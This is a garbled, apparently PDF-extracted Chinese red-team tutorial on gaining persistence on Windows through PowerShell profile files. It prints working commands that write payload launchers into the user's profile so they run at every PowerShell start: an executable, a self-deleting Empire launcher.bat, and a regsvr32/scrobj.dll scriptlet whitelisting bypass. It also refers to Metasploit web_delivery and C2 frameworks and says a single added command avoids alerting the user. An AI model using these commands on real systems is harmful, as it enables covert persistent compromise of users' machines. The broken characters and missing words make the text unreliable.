w權限維持十一power配置文件

1、PowerShell 配置文件是一個PowerShell ，它 系統管理員和用戶自定義其環(huán)境，并在PowerShell會話啟動時執(zhí)行特定命令。它類似于管理員大量使用的登錄 ，用于為用戶 網絡驅動器和打印機或收集有關系統的信息。如果用戶定期在PowerShell上執(zhí)行工作，修改PowerShell概要文件 的內容將 對手或red團隊將其用作持久性機制。這種技術可以在當前用戶的上下文中執(zhí)行。PowerShell配置文件在“WindowsPowerShell”文件夾中，默認情況下，該文件夾對用戶隱藏。如果已將負載放入磁盤，則可以使用“Start-Process”cmdlet指向可執(zhí)行文件的位置?！皽y

2、試路徑$Pro le”確定當前用戶是否存在配置文件。如果配置文件不存在，命令“新項-路徑-配置文件類型-文件強制”將為當前用戶創(chuàng)建一個概要文件，“out文件”將用新內容重寫概要文件。PowerShell配置文件啟動過程PowerShell下次啟動時將執(zhí)行配置文件的內容，并使用命令和控件建立連接。echo $profileTest-Path $profileNew-Item -Path $profile -Type File Force$string = 'Start-Process "C:tmppentestlab.exe"'$string | Out-Fi

3、le -FilePath "C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps 1" -Append持久性 PowerShell配置文件可執(zhí)行與啟動過程類似，“ Invoke-Item ” cmdlet可用于執(zhí)行項目的默認操作，即運行文件，打開應用程序等。launcher.bat是Empire生成的有效負載，具有自我刪除功能在執(zhí)行時作為更 的選擇，因為它創(chuàng)建新流程。PowerShell配置文件 BAT文件當PowerShell在系統上再次啟動時，將執(zhí)行該文件，并且 將與命令和控

4、件進行通訊。執(zhí)行 像上面的示例那樣在系統上創(chuàng)建新進程，而是將使用現有的PowerShell進程。echo $profileTest-Path $profileNew-Item -Path $profile -Type File ForceAdd-Content $profile "Invoke-Item C:tmplauncher.bat"$string | Out-File -FilePath "C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps 1" -

5、Append持久性-PowerShell Pro le Empirecmdlet“ Invoke-Command ” 的用法執(zhí)行命令。regsvr32方法可以用作隱藏選項，因為它可以規(guī)避未正確配置的應用程序白解決方案，并且可以從位置執(zhí)行scriptlet。PowerShell配置文件執(zhí)行命令echo $profileTest-Path $profileNew-Item -Path $profile -Type File Force$string = 'Invoke-Command -ScriptBlock regsvr32 /s /n /u/i:scrobj.dll '$str

6、ing | Out-File -FilePath "C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps 1" -AppendMetasploit框架包含一個模塊（web_delivery），該模塊可以生成并提供 scriptlet文件。但是， 其 令和 （C2）框架（例如PoshC2）也支持此功能，并且與Metasploit相比，可以提供擴展的功能。持久性 PowerShell配置文件Regsvr32使用多個命令對PowerShell配置文件進行大量修改會向用戶一條有關增加加載時間的消息。但是，執(zhí)行一個命令產生任何消息，有效負載將在運行，并且用戶注意到任何差異。馬特·尼 爾森（Matt Nelson）過去做過一些工作，在他的博客中已經展示了有關通過使用Excel 宏作為傳遞機制來創(chuàng)建和PowerShell配置文件的工作。通過將任意命令在配置文件中，PowerShell配置文件為代碼執(zhí)